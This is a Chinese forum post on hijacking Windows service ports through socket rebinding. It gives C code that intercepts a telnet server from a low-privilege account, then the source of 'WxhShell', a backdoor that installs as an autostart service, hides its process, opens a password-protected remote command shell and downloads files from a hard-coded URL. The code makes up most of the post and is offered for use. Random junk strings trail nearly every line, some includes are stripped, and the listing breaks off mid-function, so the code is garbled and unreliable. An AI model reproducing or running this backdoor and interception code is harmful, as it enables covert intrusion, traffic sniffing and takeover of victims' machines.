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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ['>ZC3?"h  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); NJJ=ch  
g mWwlkf9  
  saddr.sin_family = AF_INET; o w(9dB&E  
!Th5x2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); I>rTqOK  
{$t*XTY6R  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ZxO o&YR3  
{KDN|o+%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 P,zQl;  
V~jp  
  这意味着什么?意味着可以进行如下的攻击: 0"j:-1  
|L*=\%t8  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #Fo#f<b p  
6wT ])84  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {nM1$  
m*1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =x?WZMO  
VJ h]j (  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Bi9Q8#lh  
W4.w  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 " ;Cf@}i>  
%yc-D]P/  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 b IxH0=f  
vx7=I\1  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #Rfc p!  
?zP 2   
  #include 22ySMtxn  
  #include 3S#p4{3   
  #include U<F|A!Fg  
  #include    [QMN0#(h  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;`xCfOY(  
  int main() sWse (_2  
  { 0datzEns`  
  WORD wVersionRequested; k:V9_EI=  
  DWORD ret; G3y8M |:  
  WSADATA wsaData; sk07|9nU  
  BOOL val; E,ilJl\  
  SOCKADDR_IN saddr; 2::YR?  
  SOCKADDR_IN scaddr; :Hb`vH3 x  
  int err; z{ M2tLNb  
  SOCKET s; gREk,4DAv  
  SOCKET sc; <7)sS<I  
  int caddsize; ^kC!a>&  
  HANDLE mt; aso8,mpZuA  
  DWORD tid;   569p/?  
  wVersionRequested = MAKEWORD( 2, 2 ); 9D`K#3}  
  err = WSAStartup( wVersionRequested, &wsaData ); 9 iJ$M!  
  if ( err != 0 ) { u{HO6 s\S  
  printf("error!WSAStartup failed!\n"); :J @3:+sr  
  return -1; <-' !I&  
  } $8(QBZq  
  saddr.sin_family = AF_INET; Y j bp:  
   x8C\&ivn  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 vw:GNpg'R6  
P RUl-v  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +w.$"dF!  
  saddr.sin_port = htons(23); }=\?]9`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o_b3G  
  { WK?5`|1l:x  
  printf("error!socket failed!\n"); zjow %  
  return -1; g yV>k=B  
  } dR_6j}  
  val = TRUE; 4 X/UyBk  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |,=^P` #%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) o o'7  
  { 479X5Cl  
  printf("error!setsockopt failed!\n"); U/A iI;Ne  
  return -1; cNwH Y Z'  
  } G9Kck|50  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; W 2[]m>;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 EAXl.Y. $  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 n6t@ e^  
_[E+D0A  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  7 FY2a  
  { P%Vq#5  
  ret=GetLastError(); OE0G*`m  
  printf("error!bind failed!\n"); ;/Z-|+!IJt  
  return -1; `) cH(Rj  
  } #\=7A  
  listen(s,2); vOz1& |;D  
  while(1) _4)z:?G5  
  { >"=DN5w ,S  
  caddsize = sizeof(scaddr); =9 )k:S(  
  //接受连接请求 *{+{h;p  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); a9p:k ]{  
  if(sc!=INVALID_SOCKET) .1;UEb|T  
  { |BZrV3;H  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); M.s'~S7y  
  if(mt==NULL) i@5Fne  
  { 2YKa <?_  
  printf("Thread Creat Failed!\n"); KgkRs?'z  
  break; AnX<\7bc}  
  } 8Vj'&UY  
  } hchG\ i  
  CloseHandle(mt); TbNH{w|p  
  } pk.\IKlG]  
  closesocket(s); 7`A]X,:  
  WSACleanup(); <nqv)g"u0  
  return 0; wz69Yw7  
  }   [H <TcT8  
  DWORD WINAPI ClientThread(LPVOID lpParam) njX$?V   
  { 0stc$~~v  
  SOCKET ss = (SOCKET)lpParam; 0&]1s  
  SOCKET sc; ML\>TDt  
  unsigned char buf[4096]; RfTGTz@H  
  SOCKADDR_IN saddr; 5a_8`csu  
  long num; P* `*^r3  
  DWORD val; \298SH(!7  
  DWORD ret; L0!CHP/nRS  
  //如果是隐藏端口应用的话,可以在此处加一些判断 gHstdp_3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   A)C)5W  
  saddr.sin_family = AF_INET; If,p!L  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); qJdlZW<  
  saddr.sin_port = htons(23); sNo8o1Hby  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) J>}J~[ap\J  
  { v}Ju2}IK  
  printf("error!socket failed!\n"); '{jr9Vh  
  return -1; b@;Wh-{d  
  } *|dr-e_j  
  val = 100; /v+)#[]>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I!S Eb  
  { PT6]qS'1  
  ret = GetLastError(); n^T,R  
  return -1; .N qXdari  
  } @GFB{ ;=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I} jgz  
  { be,Rj,-  
  ret = GetLastError(); O[C4xq  
  return -1; ]oB~8d  
  } D:_W;b)  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) z~ C8JY:  
  { '*b]$5*p  
  printf("error!socket connect failed!\n"); @m#OhERv  
  closesocket(sc); LWF,w7v[L  
  closesocket(ss); K] (*l"'U5  
  return -1; xmvE*q"9]  
  } 3x0t[{l  
  while(1) t R|dnC4U  
  { g F*AS(9  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 v4n< G-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 5.9<g>C  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Db,"Gl  
  num = recv(ss,buf,4096,0); P0n1I7|  
  if(num>0) kyJbV[o<#  
  send(sc,buf,num,0); !#c'| *k  
  else if(num==0) At iUTA  
  break; aj1]ZT \  
  num = recv(sc,buf,4096,0); < (xqw<)  
  if(num>0) CF '&Yo  
  send(ss,buf,num,0); ^viabkf C  
  else if(num==0) $^ws#}j  
  break; N*o{BboK;  
  } <&3P\aM>  
  closesocket(ss); LjI`$r.B  
  closesocket(sc); \VNu35* J|  
  return 0 ; 8W\yM;'  
  } ;Bs~E  
X7},|cmD_  
kFn/dQ4|  
========================================================== 51jgx,-|$  
Dr3_MWJ+  
下边附上一个代码,,WXhSHELL AE0uBv  
v'W{+>.  
========================================================== uuC ["Z  
1RRE{]2v#  
#include "stdafx.h" SYCL\b   
v>8C}d^  
#include <stdio.h> vI{aF- #  
#include <string.h> >h\y1IrAaG  
#include <windows.h> yLnQ9BXB&  
#include <winsock2.h> {&=+lr_h?  
#include <winsvc.h> K-0=#6?y4  
#include <urlmon.h> oD)]4|  
\}Jznzx;  
#pragma comment (lib, "Ws2_32.lib") 'Gy`e-yB  
#pragma comment (lib, "urlmon.lib") p F-Lz<V  
vK',!1]y  
#define MAX_USER   100 // 最大客户端连接数 @ ^{`!>Vt  
#define BUF_SOCK   200 // sock buffer *~vB6V|1  
#define KEY_BUFF   255 // 输入 buffer Vrt$/ d  
)1s5vNVa  
#define REBOOT     0   // 重启 OQ-) 4Uk}  
#define SHUTDOWN   1   // 关机 Rx-\B$G  
-?Cr&!*B  
#define DEF_PORT   5000 // 监听端口 $*#a;w7\C  
jI ol`WX  
#define REG_LEN     16   // 注册表键长度 m'rDoly"62  
#define SVC_LEN     80   // NT服务名长度 [o)K1>>7  
6'^_*n  
// 从dll定义API +:S `]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,!#Am13  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J p'^!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); TnF~'RZYb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C[J9 =!t  
%'Cj~An  
// wxhshell配置信息 & l>nzJ5?  
struct WSCFG { 2W,9HSu8  
  int ws_port;         // 监听端口 (GJtTp~2C4  
  char ws_passstr[REG_LEN]; // 口令 )UzJ2Pa<+_  
  int ws_autoins;       // 安装标记, 1=yes 0=no UB$}`39@  
  char ws_regname[REG_LEN]; // 注册表键名 :u>RyKu|&R  
  char ws_svcname[REG_LEN]; // 服务名 Nk'<*;e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;UQGi}?CD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 msl.{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $L*gtZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hA7=:LG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^'`b\$km-0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _{[6hf4p  
5X{|*?>T  
}; htBA.eQ  
f:>y'#P  
// default Wxhshell configuration G6G Bqp6|  
struct WSCFG wscfg={DEF_PORT, \|PiQy*_?  
    "xuhuanlingzhe", "Z.6@ c7  
    1, dbf<k%i6  
    "Wxhshell", ,^/Wv!uPE  
    "Wxhshell", ;s +/'(*  
            "WxhShell Service", 8E%LhA.  
    "Wrsky Windows CmdShell Service", V:\:[KcL^  
    "Please Input Your Password: ", *C_A(n5"V  
  1, lc,k-}n  
  "http://www.wrsky.com/wxhshell.exe", XZE(& (s  
  "Wxhshell.exe" 25X|N=}   
    }; "wcaJ;Os  
WtOjPW  
// 消息定义模块 'uu*DgEr  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]#o;`5'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;4 ;gaf  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %\JGDM*m  
char *msg_ws_ext="\n\rExit."; H:.~! r  
char *msg_ws_end="\n\rQuit."; L=lSW7R  
char *msg_ws_boot="\n\rReboot..."; a\P:jgF  
char *msg_ws_poff="\n\rShutdown..."; W@R7CQE@  
char *msg_ws_down="\n\rSave to "; |"*P`C=  
[2@:jLth=  
char *msg_ws_err="\n\rErr!"; od `;XVG  
char *msg_ws_ok="\n\rOK!"; V(ELrjB0  
b|i4me@  
char ExeFile[MAX_PATH]; KI9Pw]]{-  
int nUser = 0; bxE~tsM"@Y  
HANDLE handles[MAX_USER]; *7AB0y0k  
int OsIsNt; byM%D$R  
5{=+S]  
SERVICE_STATUS       serviceStatus; vHi%UaD-y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )Jt. Z^J<  
u`v&URM  
// 函数声明 ag'hHFV  
int Install(void); bF _]j/  
int Uninstall(void); v!I z&M:z  
int DownloadFile(char *sURL, SOCKET wsh); tl dK@!E3  
int Boot(int flag); 6 IvAs-%W  
void HideProc(void); {V7mpVTX.  
int GetOsVer(void); "}()/  
int Wxhshell(SOCKET wsl); P0 0G*iY~\  
void TalkWithClient(void *cs); <zXG}JuL@T  
int CmdShell(SOCKET sock); V Rv4p5  
int StartFromService(void); b ri[&=  
int StartWxhshell(LPSTR lpCmdLine); x-i,v"8  
ZX/FIxpy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V7WL Gy.,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i$kB6B#==  
3I 0pHP5  
// 数据结构和表定义 0(i3RPIj\  
SERVICE_TABLE_ENTRY DispatchTable[] = X3sAy(q  
{ q{h,}[U=  
{wscfg.ws_svcname, NTServiceMain}, OV{v6,>O  
{NULL, NULL} 0[UI'2  
}; DOyO`TJi  
b@J"b(  
// 自我安装 d'(n/9K  
int Install(void) FWu:5fBZY  
{ e (]]  
  char svExeFile[MAX_PATH]; g#(+:^3'  
  HKEY key; R+.4|1p  
  strcpy(svExeFile,ExeFile); &en2t=a  
3>n&u,Xe  
// 如果是win9x系统,修改注册表设为自启动 rn . qs  
if(!OsIsNt) { _N;@jq\q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EY]H*WJJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TDw~sxtv&  
  RegCloseKey(key); .4]XR/I$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0V6, &rTF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~ AD>@;8fG  
  RegCloseKey(key); @(L}:]{@  
  return 0; z wUC L  
    } !{ *yWpZ:  
  } ItLR|LO9  
}  0Y!"3bw|  
else { Pfs_tu  
OybmyGHY  
// 如果是NT以上系统,安装为系统服务 W'"hjQ_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Mx w-f4j  
if (schSCManager!=0) F3V:B.C  
{ 3B;Gm<fJ9N  
  SC_HANDLE schService = CreateService .WSn Y71  
  ( rXmrT%7k  
  schSCManager, Pg.JI:>2Ku  
  wscfg.ws_svcname, ]2L11" erP  
  wscfg.ws_svcdisp, ]*]*O|w  
  SERVICE_ALL_ACCESS, N5l`Rq^K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N @_y<7#C  
  SERVICE_AUTO_START, o#"yFP1  
  SERVICE_ERROR_NORMAL, gna!Q  
  svExeFile, o_\vudXK  
  NULL, q2|x$5  
  NULL, hgYFR6VH  
  NULL, >"UXY)  
  NULL, OqsuuE  
  NULL fFVQu\  
  ); 5Bq;Vb  
  if (schService!=0) E9k%:&]vd  
  { t{UWb~"  
  CloseServiceHandle(schService); "1""1";  
  CloseServiceHandle(schSCManager); 8aQTm- {m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p-"wY?q  
  strcat(svExeFile,wscfg.ws_svcname); k~;~i)Eg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rc:UG "[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .z$UNB(!M  
  RegCloseKey(key); !M}-N  
  return 0; ph)=:*A6&  
    } zxs)o}8icO  
  }  })!-  
  CloseServiceHandle(schSCManager); )w}'kih  
} qDg`4yX.}  
} |CQjgI|;  
P\[K)N/1  
return 1; .FYRi_Zd  
} .@r{Tq,%q8  
3bLOT#t  
// 自我卸载 )2Q0NbDn  
int Uninstall(void) _ZWU~38PM  
{ 8DD1wK\U~  
  HKEY key; %/U'Wu{*  
A$~H`W<yxB  
if(!OsIsNt) { WSF$xC /~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <b4} B   
  RegDeleteValue(key,wscfg.ws_regname); &9Z@P[f  
  RegCloseKey(key); l YdATM(h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zq: }SU  
  RegDeleteValue(key,wscfg.ws_regname); wko9tdC=U  
  RegCloseKey(key); jA@ uV,w  
  return 0; 4ke.p<dG  
  } yWN'va1+$  
} s)'+,lKw  
} blG?("0!  
else { #~rQ\A!4  
u3 +]3!BQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ca,JQrm  
if (schSCManager!=0) ykx13|iR  
{ : @gW3'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bLg gh]Fh  
  if (schService!=0) O#^qd0e'P!  
  { 8BY`~TZO$q  
  if(DeleteService(schService)!=0) { EN>a^B+!  
  CloseServiceHandle(schService); D+BflI~9mP  
  CloseServiceHandle(schSCManager); 1?TgI0HS  
  return 0; C3<_0eI  
  } )>rYp )  
  CloseServiceHandle(schService); # 5{lOeN  
  } g]b%<DJ  
  CloseServiceHandle(schSCManager); !*wd d8   
} DfOig LG*  
} 527u d^:  
dDYor-g>  
return 1; #LYx;[D6  
} Me+)2S 9  
wxG*mOw  
// 从指定url下载文件 zs-,Y@ZL  
int DownloadFile(char *sURL, SOCKET wsh) hz2f7g  
{ 7pH[_]1"  
  HRESULT hr; Yk7^?W  
char seps[]= "/"; Pj^Ccd'>=  
char *token; ,+5 !1>\  
char *file; .KYDYdoS'  
char myURL[MAX_PATH]; |z)7XK  
char myFILE[MAX_PATH]; TU2MG VYy  
h9%.tGx  
strcpy(myURL,sURL); *; 6LX  
  token=strtok(myURL,seps); XOZ@ek)LY  
  while(token!=NULL) 0w$1Yx~C  
  { ${U H!n{  
    file=token; QSo48OFs  
  token=strtok(NULL,seps); y=1(o3(  
  } xAf?E%_pi  
`LWbL*;Y0  
GetCurrentDirectory(MAX_PATH,myFILE); ns[h_g!j;  
strcat(myFILE, "\\"); I]~UOl  
strcat(myFILE, file); ]"vpCL  
  send(wsh,myFILE,strlen(myFILE),0); WODgG@w  
send(wsh,"...",3,0); |uA /72  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .18MMzdN  
  if(hr==S_OK) CakB`q(8  
return 0; hTAZGV(  
else &Mh]s\  
return 1; ]u >~:  
Oyjhc<6  
} DM !B@  
\z=!It]f.  
// 系统电源模块 Ar$ Am  
int Boot(int flag) UZW)%  
{ Z1+1>|-iW  
  HANDLE hToken; !2g*=oY  
  TOKEN_PRIVILEGES tkp; TP)}1 @  
`c_Wk] i  
  if(OsIsNt) { NFb<fD[C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); AhSN'gWpbF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @w[HXb  
    tkp.PrivilegeCount = 1; sMWNzt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; * @'N/W/8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H*EN199  
if(flag==REBOOT) { ,fD#)_\g2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @avG*Mr^  
  return 0; oei2$uu  
} E$E #c8I:  
else { 2xpI|+ a%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  r(c8P6_  
  return 0; e:RgCDWL  
} q{+Pf/M5  
  } 10e~Yc  
  else { 7 +kU8}  
if(flag==REBOOT) { &\M<>>IB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ouc$M2m0!  
  return 0; 7,Q>>%/0P  
} r/mKuGa]  
else {  F]KAnEf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *TP>)o  
  return 0; qv$m5CJvK  
} VPXUy=W  
} B)u*c]<qU  
di]TS9&9  
return 1; mvt%3zCB!  
} ~k'SP(6#C  
J`d;I#R%c  
// win9x进程隐藏模块 z[0B"f  
void HideProc(void) C7 T}:V](q  
{ jq12,R2+)  
@j=Q$k.GF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vAjvW&'g  
  if ( hKernel != NULL ) =2.q=a|'  
  { i5jsM\1j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )TzQ8YpO}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); XMw*4j2E  
    FreeLibrary(hKernel); *32hIiCm  
  } 3DS&-rN  
&-hXk!A  
return; I7e.p m  
} NNP ut$.  
T43Jgk,  
// 获取操作系统版本 nv/'C=+L  
int GetOsVer(void) 9B?-&t  
{ E]dmXH8A  
  OSVERSIONINFO winfo; M#;"7Qg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5v,_ Hgh  
  GetVersionEx(&winfo); EN;s 8sC!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |!E: [UH  
  return 1; 6g&Ev'  
  else fuF!3Q  
  return 0; 85Red~-M  
} )uu1AbT +e  
&ws^Dm]R  
// 客户端句柄模块 ZfP$6%;_  
int Wxhshell(SOCKET wsl) m< Y  I}  
{ z~(3S8$  
  SOCKET wsh; NWS3-iZ|8  
  struct sockaddr_in client; h1 pEC  
  DWORD myID; |Q+:vb:  
" `FcW  
  while(nUser<MAX_USER) W!t=9i  
{ FS^~e-A  
  int nSize=sizeof(client); y7~y@2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i8->3uB  
  if(wsh==INVALID_SOCKET) return 1; Lv UQ&NmY  
!QS j*)V#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wl7 (|\-  
if(handles[nUser]==0) h0a|R4J  
  closesocket(wsh); yc+pNC)ue_  
else .bY R  
  nUser++; J"~!jrzBh(  
  } Yhte&,D"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f9D01R fo  
A<''x'\/  
  return 0; a'Yi^;2+\  
} sOVU>tb\'  
7zq@T]  
// 关闭 socket 7>lM^ :A  
void CloseIt(SOCKET wsh) &&g02>gE  
{ /V GI@"^v  
closesocket(wsh); Q$(Fm a4a  
nUser--; rXP~k]tC  
ExitThread(0); 2F :8=_sA  
} /mXxj93UA  
,&.$r/x|?  
// 客户端请求句柄 m~0Kos%^*b  
void TalkWithClient(void *cs) lg +>.^7k  
{ pO92cGJ8  
BU#3fPl  
  SOCKET wsh=(SOCKET)cs; h0$Y;=YA  
  char pwd[SVC_LEN]; LXqPNVp#  
  char cmd[KEY_BUFF]; _"*}8{|  
char chr[1]; H*e+ 2  
int i,j; UmR4zGM}  
TV=K3F5)M  
  while (nUser < MAX_USER) { >x>/}`  
m?kyAW'|  
if(wscfg.ws_passstr) { " T9UedZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k/(]1QnW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )k;;O7C k  
  //ZeroMemory(pwd,KEY_BUFF); d f!i}L  
      i=0; u*/+cT  
  while(i<SVC_LEN) { P V:J>!]  
H@1}_d  
  // 设置超时 zz /4 ()u  
  fd_set FdRead; &r\8VEZq"  
  struct timeval TimeOut; | kP utB  
  FD_ZERO(&FdRead); YS_3Cq  
  FD_SET(wsh,&FdRead); n*Uk<_WA  
  TimeOut.tv_sec=8; 0(*L)s,5  
  TimeOut.tv_usec=0; |c^?tR<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J#t-." f6^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]IEZ?+F,  
AgZ?Ry  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :AS`1\ C  
  pwd=chr[0]; Qe{w)e0}`  
  if(chr[0]==0xd || chr[0]==0xa) { S*$?~4{R  
  pwd=0; *~>p;*  
  break; =J4|"z:  
  } 0EF~Ouef  
  i++; 5dB62dqN  
    } 1[T7;i$  
&a;?o~%*]i  
  // 如果是非法用户,关闭 socket 4(8tr D6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z XGi> E  
} "i\#L`TkzX  
!1fZ7a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z}B 39L  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N@L{9ak1  
U3N9O.VC  
while(1) { U(9_&sL  
T4HJy|  
  ZeroMemory(cmd,KEY_BUFF); ]jFl?LA%7  
3TH?7wi  
      // 自动支持客户端 telnet标准   q;")  
  j=0;  +l/v`=C  
  while(j<KEY_BUFF) { XS">`9o!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mr^3Y8 $s  
  cmd[j]=chr[0]; zD79M  
  if(chr[0]==0xa || chr[0]==0xd) { u;gO+)wqv  
  cmd[j]=0; d.^g#&h  
  break; !~Uj 'w  
  } }}{n|l+R5  
  j++; GD{L$#i!  
    } X 3$ W60Q  
#F.jf2h@  
  // 下载文件 n+Kv^Y`qxO  
  if(strstr(cmd,"http://")) { PmRvjSIG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m&Mupl  
  if(DownloadFile(cmd,wsh)) *L$2M?xkY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R<Lf>p>_  
  else RI0^#S_{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ||_hET  
  } 0(D^NtB7  
  else { AO$AT_s  
BzP,Tu{,  
    switch(cmd[0]) { UtQey ;w  
  ]:59c{O  
  // 帮助 {P]C>  
  case '?': { ~lys  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jdP )y]c  
    break; hTr5Q33y>  
  } /Hyz]46  
  // 安装 CwA_jOp  
  case 'i': { DAB9-[y+  
    if(Install()) (~=.[Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :oP LluW*  
    else hM Dd*<%l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4hL%J=0:  
    break; <U@N ^#  
    } udZOg  
  // 卸载 GiV %Hcx  
  case 'r': { _h~ksNm5u  
    if(Uninstall()) Q+ ^ &  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YAr6 cl  
    else d;Vy59}eY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]:<! (  
    break; <(L@@.87R  
    } h:YD $XE  
  // 显示 wxhshell 所在路径 ;]>kp^C#  
  case 'p': { fu/8r%:h  
    char svExeFile[MAX_PATH]; 3 !"N;Q"  
    strcpy(svExeFile,"\n\r"); z8Q!~NN-K  
      strcat(svExeFile,ExeFile); ,c p2Fac  
        send(wsh,svExeFile,strlen(svExeFile),0); k$w~JO!s  
    break; py*22Ua^  
    } K4c:k; V  
  // 重启 K,E/.Qe\C  
  case 'b': { ;b$P*dSG}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;c(a)_1  
    if(Boot(REBOOT)) KA5)]UF`l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zd*$^P,|  
    else { :Ha/^cC/3  
    closesocket(wsh); uJ !&T  
    ExitThread(0); -@W9+Zf5  
    } Ot t6y  
    break; ^\\3bW9}H  
    } _R4}\3}!  
  // 关机  [XfR`@  
  case 'd': { ToXWFX  
